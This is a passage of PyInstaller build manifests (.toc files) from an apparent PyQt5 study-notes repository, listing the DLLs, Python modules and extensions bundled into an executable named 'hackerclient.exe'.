499 | 'BINARY'), 500 | ('pywintypes36.dll', 501 | 'E:\\Anaconda3\\Library\\bin\\pywintypes36.dll', 502 | 'BINARY'), 503 | ('Qt5Widgets.dll', 'E:\\Anaconda3\\Library\\bin\\qt5widgets.dll', 'BINARY'), 504 | ('MSVCP140.dll', 'E:\\Anaconda3\\Library\\bin\\MSVCP140.dll', 'BINARY'), 505 | ('icuin58.dll', 'E:\\Anaconda3\\Library\\bin\\icuin58.dll', 'BINARY'), 506 | ('icuuc58.dll', 'E:\\Anaconda3\\Library\\bin\\icuuc58.dll', 'BINARY'), 507 | ('api-ms-win-crt-multibyte-l1-1-0.dll', 508 | 'E:\\Anaconda3\\Library\\bin\\api-ms-win-crt-multibyte-l1-1-0.dll', 509 | 'BINARY'), 510 | ('icudt58.dll', 'E:\\Anaconda3\\Library\\bin\\icudt58.dll', 'BINARY')], 511 | [], 512 | [], 513 | [('base_library.zip', 514 | 'F:\\GitHub\\control\\build\\hackerclient\\base_library.zip', 515 | 'DATA')], 516 | []) 517 | -------------------------------------------------------------------------------- /control/build/hackerclient/out00-EXE.toc: -------------------------------------------------------------------------------- 1 | ('F:\\GitHub\\control\\dist\\hackerclient.exe', 2 | True, 3 | False, 4 | False, 5 | None, 6 | None, 7 | False, 8 | False, 9 | '', 10 | True, 11 | 'hackerclient.pkg', 12 | [('out00-PYZ.pyz', 13 | 'F:\\GitHub\\control\\build\\hackerclient\\out00-PYZ.pyz', 14 | 'PYZ'), 15 | ('struct', 'E:\\Anaconda3\\lib\\struct.pyo', 'PYMODULE'), 16 | ('pyimod01_os_path', 17 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyimod01_os_path.pyc', 18 | 'PYMODULE'), 19 | ('pyimod02_archive', 20 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyimod02_archive.pyc', 21 | 'PYMODULE'), 22 | ('pyimod03_importers', 23 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyimod03_importers.pyc', 24 | 'PYMODULE'), 25 | ('pyiboot01_bootstrap', 26 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyiboot01_bootstrap.py', 27 | 'PYSOURCE'), 28 | ('pyi_rth_qt5', 29 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\rthooks\\pyi_rth_qt5.py', 30 | 'PYSOURCE'), 31 | ('Ui_windows', 'F:\\GitHub\\control\\Ui_windows.py', 'PYSOURCE'), 32 | ('api-ms-win-crt-runtime-l1-1-0.dll', 33 | 'E:\\Anaconda3\\api-ms-win-crt-runtime-l1-1-0.dll', 34 | 'BINARY'), 35 | ('VCRUNTIME140.dll', 'E:\\Anaconda3\\VCRUNTIME140.dll', 'BINARY'), 36 | ('api-ms-win-crt-locale-l1-1-0.dll', 37 | 'E:\\Anaconda3\\api-ms-win-crt-locale-l1-1-0.dll', 38 | 'BINARY'), 39 | ('api-ms-win-crt-heap-l1-1-0.dll', 40 | 'E:\\Anaconda3\\api-ms-win-crt-heap-l1-1-0.dll', 41 | 'BINARY'), 42 | ('python36.dll', 'E:\\Anaconda3\\python36.dll', 'BINARY'), 43 | ('api-ms-win-crt-stdio-l1-1-0.dll', 44 | 'E:\\Anaconda3\\api-ms-win-crt-stdio-l1-1-0.dll', 45 | 'BINARY'), 46 | ('api-ms-win-crt-math-l1-1-0.dll', 47 | 'E:\\Anaconda3\\api-ms-win-crt-math-l1-1-0.dll', 48 | 'BINARY'), 49 | ('ucrtbase.dll', 'E:\\Anaconda3\\ucrtbase.dll', 'BINARY'), 50 | ('api-ms-win-crt-string-l1-1-0.dll', 51 | 'E:\\Anaconda3\\api-ms-win-crt-string-l1-1-0.dll', 52 | 'BINARY'), 53 | ('api-ms-win-crt-convert-l1-1-0.dll', 54 | 'E:\\Anaconda3\\api-ms-win-crt-convert-l1-1-0.dll', 55 | 'BINARY'), 56 | ('api-ms-win-crt-time-l1-1-0.dll', 57 | 'E:\\Anaconda3\\api-ms-win-crt-time-l1-1-0.dll', 58 | 'BINARY'), 59 | ('api-ms-win-crt-environment-l1-1-0.dll', 60 | 'E:\\Anaconda3\\api-ms-win-crt-environment-l1-1-0.dll', 61 | 'BINARY'), 62 | ('api-ms-win-crt-process-l1-1-0.dll', 63 | 'E:\\Anaconda3\\api-ms-win-crt-process-l1-1-0.dll', 64 | 'BINARY'), 65 | ('api-ms-win-crt-filesystem-l1-1-0.dll', 66 | 'E:\\Anaconda3\\api-ms-win-crt-filesystem-l1-1-0.dll', 67 | 'BINARY'), 68 | ('api-ms-win-crt-conio-l1-1-0.dll', 69 | 'E:\\Anaconda3\\api-ms-win-crt-conio-l1-1-0.dll', 70 | 'BINARY'), 71 | ('api-ms-win-core-file-l2-1-0.dll', 72 | 'E:\\Anaconda3\\api-ms-win-core-file-l2-1-0.dll', 73 | 'BINARY'), 74 | ('api-ms-win-core-debug-l1-1-0.dll', 75 | 'E:\\Anaconda3\\api-ms-win-core-debug-l1-1-0.dll', 76 | 'BINARY'), 77 | ('api-ms-win-core-processthreads-l1-1-0.dll', 78 | 'E:\\Anaconda3\\api-ms-win-core-processthreads-l1-1-0.dll', 79 | 'BINARY'), 80 | ('api-ms-win-core-datetime-l1-1-0.dll', 81 | 'E:\\Anaconda3\\api-ms-win-core-datetime-l1-1-0.dll', 82 | 'BINARY'), 83 | ('api-ms-win-core-timezone-l1-1-0.dll', 84 | 'E:\\Anaconda3\\api-ms-win-core-timezone-l1-1-0.dll', 85 | 'BINARY'), 86 | ('api-ms-win-core-namedpipe-l1-1-0.dll', 87 | 'E:\\Anaconda3\\api-ms-win-core-namedpipe-l1-1-0.dll', 88 | 'BINARY'), 89 | ('api-ms-win-core-console-l1-1-0.dll', 90 | 'E:\\Anaconda3\\api-ms-win-core-console-l1-1-0.dll', 91 | 'BINARY'), 92 | ('api-ms-win-core-rtlsupport-l1-1-0.dll', 93 | 'E:\\Anaconda3\\api-ms-win-core-rtlsupport-l1-1-0.dll', 94 | 'BINARY'), 95 | ('api-ms-win-core-sysinfo-l1-1-0.dll', 96 | 'E:\\Anaconda3\\api-ms-win-core-sysinfo-l1-1-0.dll', 97 | 'BINARY'), 98 | ('api-ms-win-core-string-l1-1-0.dll', 99 | 'E:\\Anaconda3\\api-ms-win-core-string-l1-1-0.dll', 100 | 'BINARY'), 101 | ('api-ms-win-core-memory-l1-1-0.dll', 102 | 'E:\\Anaconda3\\api-ms-win-core-memory-l1-1-0.dll', 103 | 'BINARY'), 104 | ('api-ms-win-core-file-l1-1-0.dll', 105 | 'E:\\Anaconda3\\api-ms-win-core-file-l1-1-0.dll', 106 | 'BINARY'), 107 | ('api-ms-win-core-synch-l1-1-0.dll', 108 | 'E:\\Anaconda3\\api-ms-win-core-synch-l1-1-0.dll', 109 | 'BINARY'), 110 | ('api-ms-win-core-file-l1-2-0.dll', 111 | 'E:\\Anaconda3\\api-ms-win-core-file-l1-2-0.dll', 112 | 'BINARY'), 113 | ('api-ms-win-core-processenvironment-l1-1-0.dll', 114 | 'E:\\Anaconda3\\api-ms-win-core-processenvironment-l1-1-0.dll', 115 | 'BINARY'), 116 | ('api-ms-win-core-heap-l1-1-0.dll', 117 | 'E:\\Anaconda3\\api-ms-win-core-heap-l1-1-0.dll', 118 | 'BINARY'), 119 | ('api-ms-win-core-interlocked-l1-1-0.dll', 120 | 'E:\\Anaconda3\\api-ms-win-core-interlocked-l1-1-0.dll', 121 | 'BINARY'), 122 | ('api-ms-win-core-libraryloader-l1-1-0.dll', 123 | 'E:\\Anaconda3\\api-ms-win-core-libraryloader-l1-1-0.dll', 124 | 'BINARY'), 125 | ('api-ms-win-core-util-l1-1-0.dll', 126 | 'E:\\Anaconda3\\api-ms-win-core-util-l1-1-0.dll', 127 | 'BINARY'), 128 | ('api-ms-win-core-synch-l1-2-0.dll', 129 | 'E:\\Anaconda3\\api-ms-win-core-synch-l1-2-0.dll', 130 | 'BINARY'), 131 | ('api-ms-win-core-localization-l1-2-0.dll', 132 | 'E:\\Anaconda3\\api-ms-win-core-localization-l1-2-0.dll', 133 | 'BINARY'), 134 | ('api-ms-win-core-profile-l1-1-0.dll', 135 | 'E:\\Anaconda3\\api-ms-win-core-profile-l1-1-0.dll', 136 | 'BINARY'), 137 | ('api-ms-win-core-errorhandling-l1-1-0.dll', 138 | 'E:\\Anaconda3\\api-ms-win-core-errorhandling-l1-1-0.dll', 139 | 'BINARY'), 140 | ('api-ms-win-core-handle-l1-1-0.dll', 141 | 'E:\\Anaconda3\\api-ms-win-core-handle-l1-1-0.dll', 142 | 'BINARY'), 143 | ('api-ms-win-core-processthreads-l1-1-1.dll', 144 | 'E:\\Anaconda3\\api-ms-win-core-processthreads-l1-1-1.dll', 145 | 'BINARY'), 146 | ('PyQt5\\Qt\\plugins\\platforms\\qoffscreen.dll', 147 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qoffscreen.dll', 148 | 'BINARY'), 149 | ('PyQt5\\Qt\\plugins\\iconengines\\qsvgicon.dll', 150 | 'E:\\Anaconda3\\Library\\plugins\\iconengines\\qsvgicon.dll', 151 | 'BINARY'), 152 | ('PyQt5\\Qt\\plugins\\imageformats\\qtga.dll', 153 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qtga.dll', 154 | 'BINARY'), 155 | ('PyQt5\\Qt\\plugins\\platforms\\qwindows.dll', 156 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qwindows.dll', 157 | 'BINARY'), 158 | ('PyQt5\\Qt\\plugins\\imageformats\\qsvg.dll', 159 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qsvg.dll', 160 | 'BINARY'), 161 | ('PyQt5\\Qt\\plugins\\imageformats\\qdds.dll', 162 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qdds.dll', 163 | 'BINARY'), 164 | ('PyQt5\\Qt\\plugins\\imageformats\\qjpeg.dll', 165 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qjpeg.dll', 166 | 'BINARY'), 167 | ('PyQt5\\Qt\\plugins\\imageformats\\qwbmp.dll', 168 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qwbmp.dll', 169 | 'BINARY'), 170 | ('PyQt5\\Qt\\plugins\\printsupport\\windowsprintersupport.dll', 171 | 'E:\\Anaconda3\\Library\\plugins\\printsupport\\windowsprintersupport.dll', 172 | 'BINARY'), 173 | ('PyQt5\\Qt\\plugins\\imageformats\\qtiff.dll', 174 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qtiff.dll', 175 | 'BINARY'), 176 | ('PyQt5\\Qt\\plugins\\imageformats\\qicns.dll', 177 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qicns.dll', 178 | 'BINARY'), 179 | ('PyQt5\\Qt\\plugins\\imageformats\\qwebp.dll', 180 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qwebp.dll', 181 | 'BINARY'), 182 | ('PyQt5\\Qt\\plugins\\platforms\\qminimal.dll', 183 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qminimal.dll', 184 | 'BINARY'), 185 | ('PyQt5\\Qt\\plugins\\imageformats\\qico.dll', 186 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qico.dll', 187 | 'BINARY'), 188 | ('PyQt5\\Qt\\plugins\\imageformats\\qgif.dll', 189 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qgif.dll', 190 | 'BINARY'), 191 | ('_ssl', 'E:\\Anaconda3\\DLLs\\_ssl.pyd', 'EXTENSION'), 192 | ('unicodedata', 'E:\\Anaconda3\\DLLs\\unicodedata.pyd', 'EXTENSION'), 193 | ('win32api', 194 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\win32api.pyd', 195 | 'EXTENSION'), 196 | ('win32evtlog', 197 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\win32evtlog.pyd', 198 | 'EXTENSION'), 199 | ('_ctypes', 'E:\\Anaconda3\\DLLs\\_ctypes.pyd', 'EXTENSION'), 200 | ('pyexpat', 'E:\\Anaconda3\\DLLs\\pyexpat.pyd', 'EXTENSION'), 201 | ('_hashlib', 'E:\\Anaconda3\\DLLs\\_hashlib.pyd', 'EXTENSION'), 202 | ('select', 'E:\\Anaconda3\\DLLs\\select.pyd', 'EXTENSION'), 203 | ('_bz2', 'E:\\Anaconda3\\DLLs\\_bz2.pyd', 'EXTENSION'), 204 | ('_lzma', 'E:\\Anaconda3\\DLLs\\_lzma.pyd', 'EXTENSION'), 205 | ('_socket', 'E:\\Anaconda3\\DLLs\\_socket.pyd', 'EXTENSION'), 206 | ('PyQt5.QtWidgets', 207 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtWidgets.pyd', 208 | 'EXTENSION'), 209 | ('sip', 'E:\\Anaconda3\\lib\\site-packages\\sip.pyd', 'EXTENSION'), 210 | ('PyQt5.QtGui', 211 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtGui.pyd', 212 | 'EXTENSION'), 213 | ('PyQt5.QtCore', 214 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtCore.pyd', 215 | 'EXTENSION'), 216 | ('PyQt5.Qt', 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\Qt.pyd', 'EXTENSION'), 217 | ('PyQt5.QtPrintSupport', 218 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtPrintSupport.pyd', 219 | 'EXTENSION'), 220 | ('Qt5Gui.dll', 'E:\\Anaconda3\\Library\\bin\\qt5gui.dll', 'BINARY'), 221 | ('Qt5Core.dll', 'E:\\Anaconda3\\Library\\bin\\qt5core.dll', 'BINARY'), 222 | ('zlib.dll', 'E:\\Anaconda3\\Library\\bin\\zlib.dll', 'BINARY'), 223 | ('libpng16.dll', 'E:\\Anaconda3\\Library\\bin\\libpng16.dll', 'BINARY'), 224 | ('api-ms-win-crt-utility-l1-1-0.dll', 225 | 'E:\\Anaconda3\\api-ms-win-crt-utility-l1-1-0.dll', 226 | 'BINARY'), 227 | ('Qt5Svg.dll', 'E:\\Anaconda3\\Library\\bin\\qt5svg.dll', 'BINARY'), 228 | ('libjpeg.dll', 'E:\\Anaconda3\\Library\\bin\\libjpeg.dll', 'BINARY'), 229 | ('Qt5PrintSupport.dll', 230 | 'E:\\Anaconda3\\Library\\bin\\qt5printsupport.dll', 231 | 'BINARY'), 232 | ('pywintypes36.dll', 233 | 'E:\\Anaconda3\\Library\\bin\\pywintypes36.dll', 234 | 'BINARY'), 235 | ('Qt5Widgets.dll', 'E:\\Anaconda3\\Library\\bin\\qt5widgets.dll', 'BINARY'), 236 | ('MSVCP140.dll', 'E:\\Anaconda3\\Library\\bin\\MSVCP140.dll', 'BINARY'), 237 | ('icuin58.dll', 'E:\\Anaconda3\\Library\\bin\\icuin58.dll', 'BINARY'), 238 | ('icuuc58.dll', 'E:\\Anaconda3\\Library\\bin\\icuuc58.dll', 'BINARY'), 239 | ('api-ms-win-crt-multibyte-l1-1-0.dll', 240 | 'E:\\Anaconda3\\Library\\bin\\api-ms-win-crt-multibyte-l1-1-0.dll', 241 | 'BINARY'), 242 | ('icudt58.dll', 'E:\\Anaconda3\\Library\\bin\\icudt58.dll', 'BINARY'), 243 | ('base_library.zip', 244 | 'F:\\GitHub\\control\\build\\hackerclient\\base_library.zip', 245 | 'DATA'), 246 | ('hackerclient.exe.manifest', 247 | 'F:\\GitHub\\control\\build\\hackerclient\\hackerclient.exe.manifest', 248 | 'BINARY'), 249 | ('pyi-windows-manifest-filename hackerclient.exe.manifest', '', 'OPTION')], 250 | [], 251 | False, 252 | False, 253 | 1530601849, 254 | [('run.exe', 255 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\bootloader\\Windows-64bit\\run.exe', 256 | 'EXECUTABLE')]) 257 | -------------------------------------------------------------------------------- /control/build/hackerclient/out00-PKG.pkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/build/hackerclient/out00-PKG.pkg -------------------------------------------------------------------------------- /control/build/hackerclient/out00-PKG.toc: -------------------------------------------------------------------------------- 1 | ('F:\\GitHub\\control\\build\\hackerclient\\out00-PKG.pkg', 2 | {'BINARY': 1, 3 | 'DATA': 1, 4 | 'EXECUTABLE': 1, 5 | 'EXTENSION': 1, 6 | 'PYMODULE': 1, 7 | 'PYSOURCE': 1, 8 | 'PYZ': 0}, 9 | [('out00-PYZ.pyz', 10 | 'F:\\GitHub\\control\\build\\hackerclient\\out00-PYZ.pyz', 11 | 'PYZ'), 12 | ('struct', 'E:\\Anaconda3\\lib\\struct.pyo', 'PYMODULE'), 13 | ('pyimod01_os_path', 14 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyimod01_os_path.pyc', 15 | 'PYMODULE'), 16 | ('pyimod02_archive', 17 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyimod02_archive.pyc', 18 | 'PYMODULE'), 19 | ('pyimod03_importers', 20 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyimod03_importers.pyc', 21 | 'PYMODULE'), 22 | ('pyiboot01_bootstrap', 23 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyiboot01_bootstrap.py', 24 | 'PYSOURCE'), 25 | ('pyi_rth_qt5', 26 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\rthooks\\pyi_rth_qt5.py', 27 | 'PYSOURCE'), 28 | ('Ui_windows', 'F:\\GitHub\\control\\Ui_windows.py', 'PYSOURCE'), 29 | ('api-ms-win-crt-runtime-l1-1-0.dll', 30 | 'E:\\Anaconda3\\api-ms-win-crt-runtime-l1-1-0.dll', 31 | 'BINARY'), 32 | ('VCRUNTIME140.dll', 'E:\\Anaconda3\\VCRUNTIME140.dll', 'BINARY'), 33 | ('api-ms-win-crt-locale-l1-1-0.dll', 34 | 'E:\\Anaconda3\\api-ms-win-crt-locale-l1-1-0.dll', 35 | 'BINARY'), 36 | ('api-ms-win-crt-heap-l1-1-0.dll', 37 | 'E:\\Anaconda3\\api-ms-win-crt-heap-l1-1-0.dll', 38 | 'BINARY'), 39 | ('python36.dll', 'E:\\Anaconda3\\python36.dll', 'BINARY'), 40 | ('api-ms-win-crt-stdio-l1-1-0.dll', 41 | 'E:\\Anaconda3\\api-ms-win-crt-stdio-l1-1-0.dll', 42 | 'BINARY'), 43 | ('api-ms-win-crt-math-l1-1-0.dll', 44 | 'E:\\Anaconda3\\api-ms-win-crt-math-l1-1-0.dll', 45 | 'BINARY'), 46 | ('ucrtbase.dll', 'E:\\Anaconda3\\ucrtbase.dll', 'BINARY'), 47 | ('api-ms-win-crt-string-l1-1-0.dll', 48 | 'E:\\Anaconda3\\api-ms-win-crt-string-l1-1-0.dll', 49 | 'BINARY'), 50 | ('api-ms-win-crt-convert-l1-1-0.dll', 51 | 'E:\\Anaconda3\\api-ms-win-crt-convert-l1-1-0.dll', 52 | 'BINARY'), 53 | ('api-ms-win-crt-time-l1-1-0.dll', 54 | 'E:\\Anaconda3\\api-ms-win-crt-time-l1-1-0.dll', 55 | 'BINARY'), 56 | ('api-ms-win-crt-environment-l1-1-0.dll', 57 | 'E:\\Anaconda3\\api-ms-win-crt-environment-l1-1-0.dll', 58 | 'BINARY'), 59 | ('api-ms-win-crt-process-l1-1-0.dll', 60 | 'E:\\Anaconda3\\api-ms-win-crt-process-l1-1-0.dll', 61 | 'BINARY'), 62 | ('api-ms-win-crt-filesystem-l1-1-0.dll', 63 | 'E:\\Anaconda3\\api-ms-win-crt-filesystem-l1-1-0.dll', 64 | 'BINARY'), 65 | ('api-ms-win-crt-conio-l1-1-0.dll', 66 | 'E:\\Anaconda3\\api-ms-win-crt-conio-l1-1-0.dll', 67 | 'BINARY'), 68 | ('api-ms-win-core-file-l2-1-0.dll', 69 | 'E:\\Anaconda3\\api-ms-win-core-file-l2-1-0.dll', 70 | 'BINARY'), 71 | ('api-ms-win-core-debug-l1-1-0.dll', 72 | 'E:\\Anaconda3\\api-ms-win-core-debug-l1-1-0.dll', 73 | 'BINARY'), 74 | ('api-ms-win-core-processthreads-l1-1-0.dll', 75 | 'E:\\Anaconda3\\api-ms-win-core-processthreads-l1-1-0.dll', 76 | 'BINARY'), 77 | ('api-ms-win-core-datetime-l1-1-0.dll', 78 | 'E:\\Anaconda3\\api-ms-win-core-datetime-l1-1-0.dll', 79 | 'BINARY'), 80 | ('api-ms-win-core-timezone-l1-1-0.dll', 81 | 'E:\\Anaconda3\\api-ms-win-core-timezone-l1-1-0.dll', 82 | 'BINARY'), 83 | ('api-ms-win-core-namedpipe-l1-1-0.dll', 84 | 'E:\\Anaconda3\\api-ms-win-core-namedpipe-l1-1-0.dll', 85 | 'BINARY'), 86 | ('api-ms-win-core-console-l1-1-0.dll', 87 | 'E:\\Anaconda3\\api-ms-win-core-console-l1-1-0.dll', 88 | 'BINARY'), 89 | ('api-ms-win-core-rtlsupport-l1-1-0.dll', 90 | 'E:\\Anaconda3\\api-ms-win-core-rtlsupport-l1-1-0.dll', 91 | 'BINARY'), 92 | ('api-ms-win-core-sysinfo-l1-1-0.dll', 93 | 'E:\\Anaconda3\\api-ms-win-core-sysinfo-l1-1-0.dll', 94 | 'BINARY'), 95 | ('api-ms-win-core-string-l1-1-0.dll', 96 | 'E:\\Anaconda3\\api-ms-win-core-string-l1-1-0.dll', 97 | 'BINARY'), 98 | ('api-ms-win-core-memory-l1-1-0.dll', 99 | 'E:\\Anaconda3\\api-ms-win-core-memory-l1-1-0.dll', 100 | 'BINARY'), 101 | ('api-ms-win-core-file-l1-1-0.dll', 102 | 'E:\\Anaconda3\\api-ms-win-core-file-l1-1-0.dll', 103 | 'BINARY'), 104 | ('api-ms-win-core-synch-l1-1-0.dll', 105 | 'E:\\Anaconda3\\api-ms-win-core-synch-l1-1-0.dll', 106 | 'BINARY'), 107 | ('api-ms-win-core-file-l1-2-0.dll', 108 | 'E:\\Anaconda3\\api-ms-win-core-file-l1-2-0.dll', 109 | 'BINARY'), 110 | ('api-ms-win-core-processenvironment-l1-1-0.dll', 111 | 'E:\\Anaconda3\\api-ms-win-core-processenvironment-l1-1-0.dll', 112 | 'BINARY'), 113 | ('api-ms-win-core-heap-l1-1-0.dll', 114 | 'E:\\Anaconda3\\api-ms-win-core-heap-l1-1-0.dll', 115 | 'BINARY'), 116 | ('api-ms-win-core-interlocked-l1-1-0.dll', 117 | 'E:\\Anaconda3\\api-ms-win-core-interlocked-l1-1-0.dll', 118 | 'BINARY'), 119 | ('api-ms-win-core-libraryloader-l1-1-0.dll', 120 | 'E:\\Anaconda3\\api-ms-win-core-libraryloader-l1-1-0.dll', 121 | 'BINARY'), 122 | ('api-ms-win-core-util-l1-1-0.dll', 123 | 'E:\\Anaconda3\\api-ms-win-core-util-l1-1-0.dll', 124 | 'BINARY'), 125 | ('api-ms-win-core-synch-l1-2-0.dll', 126 | 'E:\\Anaconda3\\api-ms-win-core-synch-l1-2-0.dll', 127 | 'BINARY'), 128 | ('api-ms-win-core-localization-l1-2-0.dll', 129 | 'E:\\Anaconda3\\api-ms-win-core-localization-l1-2-0.dll', 130 | 'BINARY'), 131 | ('api-ms-win-core-profile-l1-1-0.dll', 132 | 'E:\\Anaconda3\\api-ms-win-core-profile-l1-1-0.dll', 133 | 'BINARY'), 134 | ('api-ms-win-core-errorhandling-l1-1-0.dll', 135 | 'E:\\Anaconda3\\api-ms-win-core-errorhandling-l1-1-0.dll', 136 | 'BINARY'), 137 | ('api-ms-win-core-handle-l1-1-0.dll', 138 | 'E:\\Anaconda3\\api-ms-win-core-handle-l1-1-0.dll', 139 | 'BINARY'), 140 | ('api-ms-win-core-processthreads-l1-1-1.dll', 141 | 'E:\\Anaconda3\\api-ms-win-core-processthreads-l1-1-1.dll', 142 | 'BINARY'), 143 | ('PyQt5\\Qt\\plugins\\platforms\\qoffscreen.dll', 144 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qoffscreen.dll', 145 | 'BINARY'), 146 | ('PyQt5\\Qt\\plugins\\iconengines\\qsvgicon.dll', 147 | 'E:\\Anaconda3\\Library\\plugins\\iconengines\\qsvgicon.dll', 148 | 'BINARY'), 149 | ('PyQt5\\Qt\\plugins\\imageformats\\qtga.dll', 150 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qtga.dll', 151 | 'BINARY'), 152 | ('PyQt5\\Qt\\plugins\\platforms\\qwindows.dll', 153 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qwindows.dll', 154 | 'BINARY'), 155 | ('PyQt5\\Qt\\plugins\\imageformats\\qsvg.dll', 156 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qsvg.dll', 157 | 'BINARY'), 158 | ('PyQt5\\Qt\\plugins\\imageformats\\qdds.dll', 159 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qdds.dll', 160 | 'BINARY'), 161 | ('PyQt5\\Qt\\plugins\\imageformats\\qjpeg.dll', 162 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qjpeg.dll', 163 | 'BINARY'), 164 | ('PyQt5\\Qt\\plugins\\imageformats\\qwbmp.dll', 165 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qwbmp.dll', 166 | 'BINARY'), 167 | ('PyQt5\\Qt\\plugins\\printsupport\\windowsprintersupport.dll', 168 | 'E:\\Anaconda3\\Library\\plugins\\printsupport\\windowsprintersupport.dll', 169 | 'BINARY'), 170 | ('PyQt5\\Qt\\plugins\\imageformats\\qtiff.dll', 171 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qtiff.dll', 172 | 'BINARY'), 173 | ('PyQt5\\Qt\\plugins\\imageformats\\qicns.dll', 174 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qicns.dll', 175 | 'BINARY'), 176 | ('PyQt5\\Qt\\plugins\\imageformats\\qwebp.dll', 177 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qwebp.dll', 178 | 'BINARY'), 179 | ('PyQt5\\Qt\\plugins\\platforms\\qminimal.dll', 180 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qminimal.dll', 181 | 'BINARY'), 182 | ('PyQt5\\Qt\\plugins\\imageformats\\qico.dll', 183 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qico.dll', 184 | 'BINARY'), 185 | ('PyQt5\\Qt\\plugins\\imageformats\\qgif.dll', 186 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qgif.dll', 187 | 'BINARY'), 188 | ('_ssl', 'E:\\Anaconda3\\DLLs\\_ssl.pyd', 'EXTENSION'), 189 | ('unicodedata', 'E:\\Anaconda3\\DLLs\\unicodedata.pyd', 'EXTENSION'), 190 | ('win32api', 191 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\win32api.pyd', 192 | 'EXTENSION'), 193 | ('win32evtlog', 194 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\win32evtlog.pyd', 195 | 'EXTENSION'), 196 | ('_ctypes', 'E:\\Anaconda3\\DLLs\\_ctypes.pyd', 'EXTENSION'), 197 | ('pyexpat', 'E:\\Anaconda3\\DLLs\\pyexpat.pyd', 'EXTENSION'), 198 | ('_hashlib', 'E:\\Anaconda3\\DLLs\\_hashlib.pyd', 'EXTENSION'), 199 | ('select', 'E:\\Anaconda3\\DLLs\\select.pyd', 'EXTENSION'), 200 | ('_bz2', 'E:\\Anaconda3\\DLLs\\_bz2.pyd', 'EXTENSION'), 201 | ('_lzma', 'E:\\Anaconda3\\DLLs\\_lzma.pyd', 'EXTENSION'), 202 | ('_socket', 'E:\\Anaconda3\\DLLs\\_socket.pyd', 'EXTENSION'), 203 | ('PyQt5.QtWidgets', 204 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtWidgets.pyd', 205 | 'EXTENSION'), 206 | ('sip', 'E:\\Anaconda3\\lib\\site-packages\\sip.pyd', 'EXTENSION'), 207 | ('PyQt5.QtGui', 208 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtGui.pyd', 209 | 'EXTENSION'), 210 | ('PyQt5.QtCore', 211 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtCore.pyd', 212 | 'EXTENSION'), 213 | ('PyQt5.Qt', 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\Qt.pyd', 'EXTENSION'), 214 | ('PyQt5.QtPrintSupport', 215 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtPrintSupport.pyd', 216 | 'EXTENSION'), 217 | ('Qt5Gui.dll', 'E:\\Anaconda3\\Library\\bin\\qt5gui.dll', 'BINARY'), 218 | ('Qt5Core.dll', 'E:\\Anaconda3\\Library\\bin\\qt5core.dll', 'BINARY'), 219 | ('zlib.dll', 'E:\\Anaconda3\\Library\\bin\\zlib.dll', 'BINARY'), 220 | ('libpng16.dll', 'E:\\Anaconda3\\Library\\bin\\libpng16.dll', 'BINARY'), 221 | ('api-ms-win-crt-utility-l1-1-0.dll', 222 | 'E:\\Anaconda3\\api-ms-win-crt-utility-l1-1-0.dll', 223 | 'BINARY'), 224 | ('Qt5Svg.dll', 'E:\\Anaconda3\\Library\\bin\\qt5svg.dll', 'BINARY'), 225 | ('libjpeg.dll', 'E:\\Anaconda3\\Library\\bin\\libjpeg.dll', 'BINARY'), 226 | ('Qt5PrintSupport.dll', 227 | 'E:\\Anaconda3\\Library\\bin\\qt5printsupport.dll', 228 | 'BINARY'), 229 | ('pywintypes36.dll', 230 | 'E:\\Anaconda3\\Library\\bin\\pywintypes36.dll', 231 | 'BINARY'), 232 | 